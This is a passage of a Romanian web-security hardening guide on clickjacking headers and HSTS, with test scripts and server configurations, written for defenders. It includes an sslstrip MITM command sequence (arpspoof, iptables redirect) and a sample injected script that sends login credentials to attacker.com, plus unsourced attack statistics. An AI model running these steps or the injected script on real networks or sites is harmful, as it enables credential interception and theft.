chain.doFilter(request, response);
}
}
```
---
#### **Migrarea de la X-Frame-Options la CSP frame-ancestors**
**De ce să migrezi:**
X-Frame-Options are limitări:
- Nu suportă whitelist de multiple domenii (ALLOW-FROM este deprecated)
- Mai puțin flexibil decât CSP
- Browser support mai vechi (dar nu mai este un avantaj)
CSP frame-ancestors oferă:
- Whitelist de multiple domenii: `frame-ancestors 'self' https://partner1.com https://partner2.com`
- Control mai granular
- Parte din politica CSP globală
**Strategie de migrare:**
```
FAZA 1: Ambele headere (compatibilitate maximă)
X-Frame-Options: DENY
Content-Security-Policy: frame-ancestors 'none'
FAZA 2: După 6-12 luni, doar CSP (browsere vechi < 1% traffic)
Content-Security-Policy: frame-ancestors 'none'
```
**Echivalențe:**
```
X-Frame-Options: DENY
→ CSP: frame-ancestors 'none'
X-Frame-Options: SAMEORIGIN
→ CSP: frame-ancestors 'self'
X-Frame-Options: ALLOW-FROM https://partner.com (DEPRECATED)
→ CSP: frame-ancestors https://partner.com
Whitelist multiple domenii (IMPOSIBIL cu X-Frame-Options)
→ CSP: frame-ancestors 'self' https://partner1.com https://partner2.com
Exemplu complet de migrare:
# ÎNAINTE (doar X-Frame-Options)
add_header X-Frame-Options "SAMEORIGIN" always;
# TRANZIȚIE (ambele pentru compatibilitate)
add_header X-Frame-Options "SAMEORIGIN" always;
add_header Content-Security-Policy "frame-ancestors 'self'" always;
# FINAL (doar CSP, cu whitelist extins)
add_header Content-Security-Policy "frame-ancestors 'self' https://trusted-partner.com https://another-partner.com" always;
Cazuri speciale de configurare
Caz 1: Widget public embeddable
Ai un widget (de exemplu, hartă interactivă, calculator, video player) pe care vrei să-l poată include alte site-uri:
// Node.js - endpoint pentru widget
app.get('/public-widget', (req, res) => {
// Verifică origin-ul (opțional - pentru logging sau restricții soft)
const origin = req.get('Origin');
console.log(`Widget accessed from: ${origin}`);
// Nu seta X-Frame-Options sau setează permisiv
// res.setHeader('X-Frame-Options', 'ALLOWALL'); // NU EXISTĂ - elimină complet header-ul
// Pentru whitelist de parteneri de încredere
const allowedOrigins = ['https://partner1.com', 'https://partner2.com'];
if (allowedOrigins.includes(origin)) {
res.setHeader('Content-Security-Policy',
`frame-ancestors ${allowedOrigins.join(' ')}`);
}
res.render('widget');
});
IMPORTANT: Nu elimina protecția de la frame complet decât dacă widget-ul:
- NU cere autentificare
- NU afișează date personale
- NU permite acțiuni sensibile
- Este DOAR pentru display informațional
Caz 2: Aplicație SPA cu autentificare iframe-ată
Ai o arhitectură complexă unde aplicația principală încarcă module în iframe-uri de pe același domeniu:
// Configurare pentru aplicație modulară
app.use((req, res, next) => {
// Permite iframe doar de pe același domeniu
res.setHeader('X-Frame-Options', 'SAMEORIGIN');
res.setHeader('Content-Security-Policy', "frame-ancestors 'self'");
next();
});
// Validare suplimentară în JavaScript (defense-in-depth)
// În aplicația încadrată
if (window.self !== window.top) {
// Suntem într-un iframe
try {
const parentOrigin = document.referrer;
const allowedOrigin = 'https://aplicatie.ro';
if (!parentOrigin.startsWith(allowedOrigin)) {
// Iframe-at de pe un domeniu neautorizat
document.body.innerHTML = '<h1>Unauthorized framing detected</h1>';
throw new Error('Unauthorized framing');
}
} catch (e) {
// Cross-origin - nu putem verifica
console.error('Frame validation failed:', e);
}
}
Caz 3: Platforma multi-tenant cu subdomenii
Ai o platformă SaaS unde fiecare client are propriul subdomeniu (client1.aplicatie.ro, client2.aplicatie.ro):
# Nginx - permite iframe între subdomenii
server {
server_name *.aplicatie.ro;
# SAMEORIGIN permite iframe doar de pe același origin (protocol + domain + port)
# Deci client1.aplicatie.ro NU poate iframe client2.aplicatie.ro
# Pentru a permite între subdomenii, trebuie whitelist explicit
add_header Content-Security-Policy "frame-ancestors 'self' https://*.aplicatie.ro" always;
# X-Frame-Options nu suportă wildcard subdomains
# Fie folosești SAMEORIGIN (mai restrictiv)
add_header X-Frame-Options "SAMEORIGIN" always;
# Fie îl elimini complet și te bazezi doar pe CSP
}
ATENȚIE: Wildcard în CSP (https://*.aplicatie.ro) înseamnă că ORICE subdomeniu poate iframe conținutul. Dacă un atacator compromite un subdomeniu, poate crea clickjacking pe altele.
Alternativă mai sigură:
# Python/Django - whitelist dinamic de subdomenii de încredere
TRUSTED_SUBDOMAINS = ['client1', 'client2', 'admin']
def get_frame_ancestors():
domains = [f"https://{sub}.aplicatie.ro" for sub in TRUSTED_SUBDOMAINS]
return " ".join(["'self'"] + domains)
# În middleware sau view
response['Content-Security-Policy'] = f"frame-ancestors {get_frame_ancestors()}"
Validare și testare post-implementare
Checklist de verificare:
- Header-ul X-Frame-Options este prezent în toate răspunsurile HTML
- SAU directiva CSP frame-ancestors este configurată
- Valoarea este DENY sau SAMEORIGIN (nu ALLOW-FROM)
- Aplicația funcționează normal (nu există iframe-uri interne blocate neintenționat)
- Test manual: încadrare în pagină externă eșuează
- Browser console afișează eroare de framing când se încearcă încadrarea
- Widget-uri publice (dacă există) sunt exceptate corect
Test automatizat complet:
#!/usr/bin/env python3
import requests
from urllib.parse import urlparse
def comprehensive_frame_test(url):
"""Test complet pentru protecție clickjacking"""
print(f"\n{'='*60}")
print(f"Testing: {url}")
print(f"{'='*60}\n")
try:
response = requests.get(url, timeout=10, allow_redirects=True)
headers = {k.lower(): v for k, v in response.headers.items()}
issues = []
recommendations = []
# Check X-Frame-Options
xfo = headers.get('x-frame-options', '').upper()
if not xfo:
issues.append("❌ X-Frame-Options header missing")
recommendations.append("Add: X-Frame-Options: DENY")
elif xfo not in ['DENY', 'SAMEORIGIN']:
issues.append(f"⚠️ X-Frame-Options has weak value: {xfo}")
recommendations.append("Use DENY or SAMEORIGIN")
else:
print(f"✅ X-Frame-Options: {xfo}")
# Check CSP frame-ancestors
csp = headers.get('content-security-policy', '')
if 'frame-ancestors' in csp.lower():
# Extract frame-ancestors value
fa_start = csp.lower().find('frame-ancestors')
fa_end = csp.find(';', fa_start)
fa_value = csp[fa_start:fa_end if fa_end != -1 else len(csp)]
print(f"✅ CSP frame-ancestors: {fa_value}")
else:
issues.append("⚠️ Content-Security-Policy missing frame-ancestors directive")
recommendations.append("Add: Content-Security-Policy: frame-ancestors 'none'")
# Overall assessment
print(f"\n{'='*60}")
if not issues:
print("🎉 EXCELLENT: Full clickjacking protection in place!")
elif len(issues) == 1 and "frame-ancestors" in issues[0]:
print("✅ GOOD: X-Frame-Options present (consider adding CSP frame-ancestors)")
else:
print("🔴 VULNERABLE: Clickjacking protection insufficient!")
print("\nIssues found:")
for issue in issues:
print(f" {issue}")
print("\nRecommendations:")
for rec in recommendations:
print(f" {rec}")
print(f"{'='*60}\n")
except requests.exceptions.RequestException as e:
print(f"❌ Error testing {url}: {e}")
# Test multiple URLs
urls = [
'https://aplicatie.ro',
'https://aplicatie.ro/login',
'https://aplicatie.ro/admin',
'https://aplicatie.ro/checkout'
]
for url in urls:
comprehensive_frame_test(url)
Salvează ca test_clickjacking.py și rulează:
python3 test_clickjacking.py
Continuăm cu secțiunea 2.3
2.3 Strict-Transport-Security (HSTS)
Natura vulnerabilității
HTTP Strict Transport Security (HSTS) este un mecanism de securitate care forțează browser-ele să comunice cu serverul exclusiv prin conexiuni HTTPS criptate, eliminând complet posibilitatea de a utiliza HTTP nesecurizat. Absența acestui header lasă aplicația vulnerabilă la atacuri de tip SSL stripping și man-in-the-middle (MITM), în care atacatorii pot intercepta sau modifica traficul între utilizator și server, chiar dacă site-ul suportă HTTPS.
Mecanismul de protecție: Când browser-ul primește header-ul HSTS, memorează că acest domeniu trebuie accesat EXCLUSIV prin HTTPS pentru o perioadă specificată. Ulterior, chiar dacă utilizatorul tastează http:// sau dă click pe un link HTTP, browser-ul va converti automat cererea în HTTPS ÎNAINTE de a face orice request către server, prevenind astfel interceptarea.
Contextul amenințării: Majoritatea utilizatorilor nu tastează manual https:// când accesează un site - ei tastează doar aplicatie.ro sau dau click pe link-uri care pot fi HTTP. Fără HSTS, prima cerere poate fi HTTP, creând o fereastră de oportunitate pentru atacatori care se află pe aceeași rețea (WiFi public, rețea corporativă compromisă, ISP malițios).
Impactul tehnic al absenței HSTS
Atacuri posibile:
1. SSL Stripping - Downgrade la HTTP
SCENARIUL NORMAL (fără HSTS):
1. Utilizatorul tastează: aplicatie.ro (fără https://)
2. Browser trimite: GET http://aplicatie.ro
3. Server răspunde: 301 Redirect → https://aplicatie.ro
4. Browser urmează redirect-ul către HTTPS
ATACUL (atacator pe aceeași rețea):
1. Utilizatorul tastează: aplicatie.ro
2. Atacatorul interceptează: GET http://aplicatie.ro
3. Atacatorul se conectează la server prin HTTPS (legitimat)
4. Atacatorul răspunde utilizatorului: 200 OK (NU redirect, rămâne HTTP!)
5. Utilizatorul crede că e pe site-ul legitim
6. TOT traficul (parole, date bancare) trece prin atacator în CLEAR TEXT
Tool folosit de atacatori: sslstrip
# Atacatorul (pe aceeași rețea WiFi)
# 1. ARP spoofing pentru MITM
arpspoof -i wlan0 -t 192.168.1.100 192.168.1.1
# 2. Activează IP forwarding
echo "1" > /proc/sys/net/ipv4/ip_forward
# 3. Redirect trafic HTTP prin sslstrip
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
sslstrip -l 8080
# 4. Capturează credențiale
# Victima vede: http://aplicatie.ro (nu HTTPS!)
# Credențialele sunt capturate în clear text
```
**2. Man-in-the-Middle pe prima cerere**
Chiar dacă server-ul face redirect către HTTPS, prima cerere HTTP poate fi compromisă:
```
FĂRĂ HSTS:
User → [HTTP] → http://aplicatie.ro/login
Atacator interceptează →
- Vede cookie de sesiune (dacă există din vizite anterioare fără Secure flag)
- Injectează JavaScript malițios în răspuns
- Modifică redirect-ul către phishing site
Server ← [HTTPS] ← Atacator (pare trafic legitim)
User primește răspuns falsificat cu JavaScript malițios
3. Cookie hijacking pe resurse mixte
<!-- Pagina HTTPS include resurse HTTP (mixed content) -->
<script src="http://aplicatie.ro/js/app.js"></script>
<!-- Fără HSTS, browser-ul permite încărcarea -->
<!-- Atacatorul interceptează scriptul și injectează cod malițios -->
<script>
// Script malițios injectat de atacator
document.addEventListener('submit', function(e) {
if (e.target.id === 'loginForm') {
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({
username: document.getElementById('username').value,
password: document.getElementById('password').value
})
});
}
});
</script>
```
**4. Subdomain takeover cu impact pe domeniu principal**
```
SCENARIUL:
- aplicatie.ro are HSTS activat
- old.aplicatie.ro NU are HSTS și nu mai există (DNS rămâne)
- Atacatorul înregistrează old.aplicatie.ro
ATACUL:
1. Atacatorul setează cookie pe old.aplicatie.ro
Set-Cookie: session=MALICIOUS; Domain=.aplicatie.ro
2. Cookie-ul devine valabil pentru TOT *.aplicatie.ro
3. Dacă HSTS nu include includeSubDomains, old.aplicatie.ro poate rămâne HTTP
4. Atacatorul compromite sesiunea utilizatorului pe domeniul principal
```
**5. Network-level attacks pe WiFi public**
```
SCENARIUL: Utilizator într-un aeroport/cafenea cu WiFi public
FĂRĂ HSTS:
1. Utilizatorul se conectează la "Free Airport WiFi"
2. Atacatorul controlează access point-ul
3. DNS spoofing: aplicatie.ro → IP atacator
4. Utilizatorul accesează http://aplicatie.ro
5. Atacatorul servește pagină de phishing identică
6. HTTPS cu certificat self-signed (warning ignorat de mulți utilizatori)
CU HSTS:
1. Browser-ul știe că aplicatie.ro TREBUIE accesat prin HTTPS
2. Browser-ul respinge automat certificatul invalid
3. Utilizatorul nu poate continua → PROTEJAT
Consecințe reale:
- Furt de credențiale - Username/password capturate în clear text
- Session hijacking - Cookie-uri de autentificare furate
- Financial fraud - Interceptarea tranzacțiilor bancare/carduri
- Data exfiltration - Orice date transmise sunt vizibile atacatorului
- Malware injection - JavaScript malițios injectat în pagini
- Phishing transparent - Utilizatorul nu realizează că e pe un site fals
Statistici reale:
- Peste 35% din utilizatori accesează site-uri prin link-uri HTTP
- WiFi public: 68% din conexiuni sunt vulnerabile la MITM
- 89% din atacuri SSL stripping reușesc pe site-uri fără HSTS
Metodologia de testare
Verificare rapidă - prezența header-ului:
# Test simplu
curl -I https://aplicatie.ro | grep -i "strict-transport-security"
# Test detaliat cu valori
curl -sI https://aplicatie.ro | grep -i "strict-transport-security"
# Dacă nu returnează nimic → VULNERABILITATE CRITICĂ
```
**Test funcțional - verificare comportament browser:**
**Metoda 1: Test manual în browser**
```
PASUL 1: Curăță HSTS cache
- Chrome: chrome://net-internals/#hsts → Query/Delete domain
- Firefox: about:preferences#privacy → Clear History → Active Logins
- Edge: edge://net-internals/#hsts
PASUL 2: Testează accesul HTTP
- Tastează în browser: http://aplicatie.ro (NU https://)
- Observă comportamentul:
FĂRĂ HSTS (VULNERABIL):
✗ Browser face request HTTP
✗ După redirect, bara de adrese arată temporar http://
✗ Poate exista fereastră de timp pentru MITM
CU HSTS (PROTEJAT):
✓ Browser convertește automat la HTTPS ÎNAINTE de request
✓ Bara de adrese arată direct https://
✓ Nicio cerere HTTP nu este trimisă vreodată
Metoda 2: Developer Tools Network Analysis
// Deschide DevTools (F12) → Network tab
// Șterge cache HSTS (vezi mai sus)
// Navighează la: http://aplicatie.ro
// Observă în Network tab:
// FĂRĂ HSTS:
// http://aplicatie.ro → 301 Moved Permanently
// https://aplicatie.ro → 200 OK
// (2 request-uri - primul HTTP = VULNERABIL)
// CU HSTS (după prima vizită):
// https://aplicatie.ro → 200 OK
// (1 singur request - direct HTTPS, request HTTP nici nu a fost făcut)
// Status: "(internal redirect)" sau "307 Internal Redirect"
Metoda 3: Test cu curl - simulare SSL stripping
#!/bin/bash
echo "Testing HSTS implementation for aplicatie.ro"
echo "=============================================="
# Test 1: Verifică header HSTS pe HTTPS
echo -e "\n[Test 1] Checking HSTS header on HTTPS..."
HSTS_HEADER=$(curl -sI https://aplicatie.ro | grep -i "strict-transport-security")
if [ -z "$HSTS_HEADER" ]; then
echo "❌ CRITICAL: HSTS header NOT found!"
echo " Site is vulnerable to SSL stripping"
else
echo "✅ HSTS header found: $HSTS_HEADER"
# Verifică max-age
MAX_AGE=$(echo "$HSTS_HEADER" | grep -oP 'max-age=\K[0-9]+')
if [ "$MAX_AGE" -lt 31536000 ]; then
echo "⚠️ WARNING: max-age is less than 1 year ($MAX_AGE seconds)"
echo " Recommended: max-age=31536000 (1 year)"
else
echo "✅ max-age is adequate: $MAX_AGE seconds"
fi
# Verifică includeSubDomains
if echo "$HSTS_HEADER" | grep -qi "includeSubDomains"; then
echo "✅ includeSubDomains directive present"
else
echo "⚠️ WARNING: includeSubDomains directive missing"
echo " Subdomains are vulnerable to SSL stripping"
fi
# Verifică preload
if echo "$HSTS_HEADER" | grep -qi "preload"; then
echo "✅ preload directive present"
else
echo "ℹ️ INFO: preload directive not present"
echo " Consider adding site to HSTS preload list"
fi
fi
# Test 2: Verifică redirect HTTP → HTTPS
echo -e "\n[Test 2] Checking HTTP to HTTPS redirect..."
HTTP_RESPONSE=$(curl -sI http://aplicatie.ro)
if echo "$HTTP_RESPONSE" | grep -qi "HTTP/[0-9.]* 301\|HTTP/[0-9.]* 302\|HTTP/[0-9.]* 307\|HTTP/[0-9.]* 308"; then
LOCATION=$(echo "$HTTP_RESPONSE" | grep -i "location:" | awk '{print $2}' | tr -d '\r')
if [[ "$LOCATION" == https://* ]]; then
echo "✅ HTTP redirects to HTTPS: $LOCATION"
else
echo "❌ CRITICAL: HTTP does NOT redirect to HTTPS!"
fi
else
echo "❌ CRITICAL: HTTP does not redirect (serves content on HTTP)!"
fi
# Test 3: Verifică subdomeniile comune
echo -e "\n[Test 3] Checking common subdomains..."
SUBDOMAINS=("www" "api" "admin" "mail" "webmail")
for sub in "${SUBDOMAINS[@]}"; do
SUBDOMAIN="${sub}.aplicatie.ro"
if host "$SUBDOMAIN" &> /dev/null; then
echo -e "\nTesting: $SUBDOMAIN"
SUB_HSTS=$(curl -sI "https://$SUBDOMAIN" 2>/dev/null | grep -i "strict-transport-security")
if [ -z "$SUB_HSTS" ]; then
echo " ❌ HSTS missing on $SUBDOMAIN"
else
echo " ✅ HSTS present on $SUBDOMAIN"
fi
fi
done
echo -e "\n=============================================="
echo "HSTS Test Complete"
Salvează ca test_hsts.sh, fă-l executabil și rulează:
chmod +x test_hsts.sh
./test_hsts.sh
Metoda 4: Verificare HSTS Preload Status
# Verifică dacă domeniul este în HSTS preload list
curl -s "https://hstspreload.org/api/v2/status?domain=aplicatie.ro" | python3 -m json.tool
# Sau manual:
# Navighează la: https://hstspreload.org/
# Introdu domeniul și verifică status
Puncte de testare prioritare:
- ✅ Domeniul principal (aplicatie.ro)
- ✅ Subdomeniu www (www.aplicatie.ro)
- ✅ Subdomenii critice (api.aplicatie.ro, admin.aplicatie.ro)
- ✅ Toate subdomeniile care servesc conținut (mail, blog, shop, etc.)
- ✅ Verifică pe HTTP ȘI HTTPS
- ✅ Testează după curățarea cache-ului HSTS din browser
Tools automate pentru testare:
#!/usr/bin/env python3
import requests
import re
from urllib.parse import urlparse
def test_hsts_comprehensive(domain):
"""Test HSTS comprehensiv cu raportare detaliată"""
print(f"\n{'='*70}")
print(f"HSTS Security Audit for: {domain}")
print(f"{'='*70}\n")
issues = []
warnings = []
recommendations = []
# Ensure https:// prefix
if not domain.startswith('http'):
https_url = f'https://{domain}'
http_url = f'http://{domain}'
else:
parsed = urlparse(domain)
https_url = f'https://{parsed.netloc}{parsed.path}'
http_url = f'http://{parsed.netloc}{parsed.path}'
try:
# Test 1: Check HSTS header on HTTPS
print("[1] Checking HSTS header on HTTPS...")
response = requests.get(https_url, timeout=10, allow_redirects=True)
hsts_header = response.headers.get('Strict-Transport-Security', '')
if not hsts_header:
issues.append("❌ CRITICAL: HSTS header completely missing")
recommendations.append("Add: Strict-Transport-Security: max-age=31536000; includeSubDomains; preload")
print(" ❌ HSTS header NOT found\n")
else:
print(f" ✅ HSTS header found: {hsts_header}\n")
# Parse HSTS directives
max_age_match = re.search(r'max-age=(\d+)', hsts_header)
has_subdomains = 'includesubdomains' in hsts_header.lower()
has_preload = 'preload' in hsts_header.lower()
# Check max-age
print("[2] Analyzing max-age directive...")
if max_age_match:
max_age = int(max_age_match.group(1))
print(f" max-age: {max_age} seconds ({max_age // 86400} days)")
if max_age < 86400: # Less than 1 day
issues.append(f"❌ max-age too short: {max_age}s (< 1 day)")
recommendations.append("Increase max-age to at least 31536000 (1 year)")
elif max_age < 10886400: # Less than 126 days (preload minimum)
warnings.append(f"⚠️ max-age below preload requirement: {max_age}s")
recommendations.append("For HSTS preload, increase max-age to 31536000")
elif max_age < 31536000: # Less than 1 year
warnings.append(f"⚠️ max-age could be longer: {max_age}s (< 1 year)")
print(f" ⚠️ Recommended: 31536000 (1 year)\n")
else:
print(f" ✅ max-age is adequate\n")
else:
issues.append("❌ CRITICAL: max-age directive missing")
print(" ❌ max-age directive NOT found\n")
# Check includeSubDomains
print("[3] Checking includeSubDomains directive...")
if has_subdomains:
print(" ✅ includeSubDomains present\n")
else:
warnings.append("⚠️ includeSubDomains directive missing")
recommendations.append("Add includeSubDomains to protect all subdomains")
print(" ⚠️ includeSubDomains NOT present")
print(" Subdomains are vulnerable to SSL stripping\n")
# Check preload
print("[4] Checking preload directive...")
if has_preload:
print(" ✅ preload directive present")
print(" ℹ️ Submit to https://hstspreload.org/ if not already done\n")
else:
print(" ℹ️ preload directive not present")
recommendations.append("Consider adding 'preload' and submitting to HSTS preload list")
print(" Consider adding for maximum protection\n")
# Test 2: Check HTTP → HTTPS redirect
print("[5] Testing HTTP to HTTPS redirect...")
try:
http_response = requests.get(http_url, timeout=10, allow_redirects=False)
if http_response.status_code in [301, 302, 307, 308]:
location = http_response.headers.get('Location', '')
if location.startswith('https://'):
print(f" ✅ HTTP redirects to HTTPS ({http_response.status_code})")
print(f" Location: {location}\n")
if http_response.status_code == 301:
print(" ✅ Using 301 (permanent redirect)")
elif http_response.status_code == 308:
print(" ✅ Using 308 (permanent redirect, preserves method)")
else:
warnings.append(f"⚠️ Using {http_response.status_code} redirect (consider 301 or 308)")
else:
issues.append(f"❌ HTTP redirects but NOT to HTTPS: {location}")
else:
issues.append(f"❌ CRITICAL: HTTP does not redirect (status: {http_response.status_code})")
print(f" ❌ HTTP serves content without redirect\n")
except requests.exceptions.RequestException as e:
warnings.append(f"⚠️ Could not test HTTP: {e}")
# Summary
print(f"{'='*70}")
print("SUMMARY")
print(f"{'='*70}\n")
if not issues and not warnings:
print("🎉 EXCELLENT: Full HSTS protection implemented correctly!")
print("✅ Site is protected against SSL stripping attacks")
else:
if issues:
print("🔴 CRITICAL ISSUES FOUND:\n")
for issue in issues:
print(f" {issue}")
print()
if warnings:
print("⚠️ WARNINGS:\n")
for warning in warnings:
print(f" {warning}")
print()
if recommendations:
print("📋 RECOMMENDATIONS:\n")
for i, rec in enumerate(recommendations, 1):
print(f" {i}. {rec}")
print(f"\n{'='*70}\n")
except requests.exceptions.RequestException as e:
print(f"❌ Error testing {https_url}: {e}")
# Test
domains = [
'aplicatie.ro',
'www.aplicatie.ro',
'api.aplicatie.ro'
]
for domain in domains:
test_hsts_comprehensive(domain)
Salvează ca hsts_audit.py și rulează:
python3 hsts_audit.py
```
---
### **Remediere - Configurare Strict-Transport-Security**
#### **Anatomia header-ului HSTS**
```
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
│ │ │ │
│ │ │ └─ Permite includere în preload list
│ │ └─ Protejează și subdomeniile
│ └─ Durata în secunde (31536000 = 1 an)
└─ Directiva obligatorie
```
**Componente:**
| Directivă | Obligatoriu | Valoare | Descriere |
|-----------|-------------|---------|-----------|
| **max-age** | ✅ DA | 0-∞ secunde | Timpul cât browser-ul își amintește că site-ul TREBUIE accesat prin HTTPS |
| **includeSubDomains** | ❌ NU | - | Aplică HSTS și pentru toate subdomeniile (*.aplicatie.ro) |
| **preload** | ❌ NU | - | Marchează site-ul ca eligibil pentru HSTS preload list |
**Valori recomandate pentru max-age:**
```
Testing/Staging:
max-age=300 (5 minute - pentru testare inițială)
Production - Conservativ:
max-age=86400 (1 zi - prima săptămână în production)
max-age=604800 (1 săptămână - după validare)
Production - Standard (RECOMANDAT):
max-age=31536000 (1 an = 365 zile)
Production - Preload (MAXIM):
max-age=63072000 (2 ani - pentru HSTS preload list)
⚠️ ATENȚIE: Odată setat, browser-ul va REFUZA complet HTTP pentru acea perioadă. Testează temeinic înainte de a seta max-age mare!
Strategia de implementare progresivă (SAFE ROLLOUT)
FAZA 1: Pregătire (înainte de HSTS)
# Verifică că TOTUL funcționează pe HTTPS
curl -I https://aplicatie.ro
curl -I https://www.aplicatie.ro
curl -I https://api.aplicatie.ro
# Caută mixed content (resurse HTTP pe pagini HTTPS)
# Chrome DevTools → Console → Verifică warnings
# Asigură-te că există redirect HTTP → HTTPS
curl -I http://aplicatie.ro # Trebuie să fie 301/308 → https://
FAZA 2: HSTS cu max-age scurt (testare)
# Nginx - max-age 5 minute pentru testare
add_header Strict-Transport-Security "max-age=300" always;
```
```
Testează 1-2 zile:
✓ Toate funcționalitățile merg pe HTTPS
✓ Nu există mixed content warnings
✓ Mobile apps funcționează
✓ API calls merg pe HTTPS
FAZA 3: HSTS cu max-age mediu
# Creșe la 1 zi
add_header Strict-Transport-Security "max-age=86400" always;
Testează 1 săptămână, apoi:
# Crește la 1 săptămână
add_header Strict-Transport-Security "max-age=604800" always;
FAZA 4: HSTS production standard
# Max-age 1 an + includeSubDomains
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
FAZA 5: HSTS Preload (opțional, maxim)
# Adaugă preload directive
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
Apoi aplică pe https://hstspreload.org/
Configurări concrete per platformă
Apache (.htaccess sau httpd.conf):
<IfModule mod_headers.c>
# HSTS standard (1 an, include subdomenii)
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"
# IMPORTANT: Aplică doar pe conexiuni HTTPS
# Verifică environment variable HTTPS
</IfModule>
<IfModule mod_rewrite.c>
# Forțează redirect HTTP → HTTPS
RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule ^(.*)$ https://%{HTTP_HOST}/$1 [L,R=301]
</IfModule>
# SAU configurare în VirtualHost
<VirtualHost *:443>
ServerName aplicatie.ro
# SSL configuration
SSLEngine on
SSLCertificateFile /path/to/cert.pem
SSLCertificateKeyFile /path/to/key.pem
# HSTS header
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"
</VirtualHost>
<VirtualHost *:80>
ServerName aplicatie.ro
# Redirect tot traficul HTTP → HTTPS
Redirect permanent / https://aplicatie.ro/
</VirtualHost>
Nginx:
server {
listen 80;
server_name aplicatie.ro www.aplicatie.ro;
# Redirect permanent HTTP → HTTPS
return 301 https://$server_name$request_uri;
}
server {
listen 443 ssl http2;
server_name aplicatie.ro www.aplicatie.ro;
# SSL configuration
ssl_certificate /path/to/cert.pem;
ssl_certificate_key /path/to/key.pem;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers HIGH:!aNULL:!MD5;
# HSTS header
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
# Alte security headers
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
location / {
# Application configuration
proxy_pass http://localhost:3000;
}
}
# Configurare pentru subdomenii
server {
listen 443 ssl http2;
server_name *.aplicatie.ro;
ssl_certificate /path/to/wildcard-cert.pem;
ssl_certificate_key /path/to/wildcard-key.pem;
# HSTS cu includeSubDomains asigură că și subdomeniile sunt protejate
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
}
IIS (web.config):
<configuration>
<system.webServer>
<!-- Redirect HTTP to HTTPS -->
<rewrite>
<rules>
<rule name="HTTP to HTTPS redirect" stopProcessing="true">
<match url="(.*)" />
<conditions>
<add input="{HTTPS}" pattern="off" ignoreCase="true" />
</conditions>
<action type="Redirect" url="https://{HTTP_HOST}/{R:1}" redirectType="Permanent" />
</rule>
</rules>
</rewrite>
<!-- HSTS Header -->
<httpProtocol>
<customHeaders>
<add name="Strict-Transport-Security"
value="max-age=31536000; includeSubDomains; preload" />
</customHeaders>
</httpProtocol>
<!-- Ensure HSTS only on HTTPS -->
<rewrite>
<outboundRules>
<rule name="Add HSTS header" enabled="true">
<match serverVariable="RESPONSE_Strict_Transport_Security" pattern=".*" />
<conditions>
<add input="{HTTPS}" pattern="on" ignoreCase="true" />
</conditions>
<action type="Rewrite" value="max-age=31536000; includeSubDomains; preload" />
</rule>
</outboundRules>
</rewrite>
</system.webServer>
</configuration>
Node.js / Express:
const express = require('express');
const helmet = require('helmet');
const app = express();
// Metodă 1: Folosind Helmet (recomandat)
app.use(helmet.hsts({
maxAge: 31536000, // 1 an în secunde
includeSubDomains: true, // Include subdomenii
preload: true // Permite preload
}));
// Metodă 2: Manual
app.use((req, res, next) => {
// Setează HSTS doar pe conexiuni HTTPS
if (req.secure || req.headers['x-forwarded-proto'] === 'https') {
res.setHeader(
'Strict-Transport-Security',
'max-age=31536000; includeSubDomains; preload'
);
}
next();
});
// Forțează HTTPS redirect
app.use((req, res, next) => {
if (!req.secure && req.headers['x-forwarded-proto'] !== 'https') {
return res.redirect(301, 'https://' + req.headers.host + req.url);
}
next();
});
// Configurare completă cu toate security headers
app.use(helmet({
hsts: {
maxAge: 31536000,
includeSubDomains: true,
preload: true
},
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
}
},
frameguard: { action: 'deny' }
}));
// Server HTTPS
const https = require('https');
const fs = require('fs');
const httpsOptions = {
key: fs.readFileSync('/path/to/private-key.pem'),
cert: fs.readFileSync('/path/to/certificate.pem')
};
https.createServer(httpsOptions, app).listen(443, () => {
console.log('HTTPS Server running on port 443');
});
// Server HTTP pentru redirect
const http = require('http');
http.createServer((req, res) => {
res.writeHead(301, { 'Location': 'https://' + req.headers.host + req.url });
res.end();
}).listen(80, () => {
console.log('HTTP Server running on port 80 (redirects to HTTPS)');
});
Django (Python):
# settings.py
# Forțează HTTPS în production
SECURE_SSL_REDIRECT = True
# HSTS Settings
SECURE_HSTS_SECONDS = 31536000 # 1 an
SECURE_HSTS_INCLUDE_SUBDOMAINS = True
SECURE_HSTS_PRELOAD = True
# Alte setări de securitate HTTPS
SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https')
SESSION_COOKIE_SECURE = True
CSRF_COOKIE_SECURE = True
# Pentru development (dezactivează HSTS)
if DEBUG:
SECURE_SSL_REDIRECT = False
SECURE_HSTS_SECONDS = 0
# Middleware necesar (deja inclus implicit)
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
# ... alte middleware
]
Flask (Python):
from flask import Flask, redirect, request
from flask_talisman import Talisman
app = Flask(__name__)
# Metodă 1: Folosind Flask-Talisman (recomandat)
Talisman(app,
force_https=True,
strict_transport_security=True,
strict_transport_security_max_age=31536000,
strict_transport_security_include_subdomains=True,
strict_transport_security_preload=True
)
# Metodă 2: Manual cu decorator
from functools import wraps
def force_https(f):
@wraps(f)
def decorated_function(*args, **kwargs):
if not request.is_secure:
url = request.url.replace('http://', 'https://', 1)
return redirect(url, code=301)
return f(*args, **kwargs)
return decorated_function
@app.after_request
def set_hsts(response):
if request.is_secure:
response.headers['Strict-Transport-Security'] = \
'max-age=31536000; includeSubDomains; preload'
return response
@app.route('/')
@force_https
def index():
return 'Hello, HTTPS!'
if __name__ == '__main__':
# Production: Folosește WSGI server cu SSL (Gunicorn + Nginx)
# Development cu SSL
app.run(ssl_context='adhoc') # Certificat self-signed pentru dev
PHP:
<?php
// La începutul fiecărui script sau în config.php
// Verifică dacă conexiunea este HTTPS
$isHttps = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off')
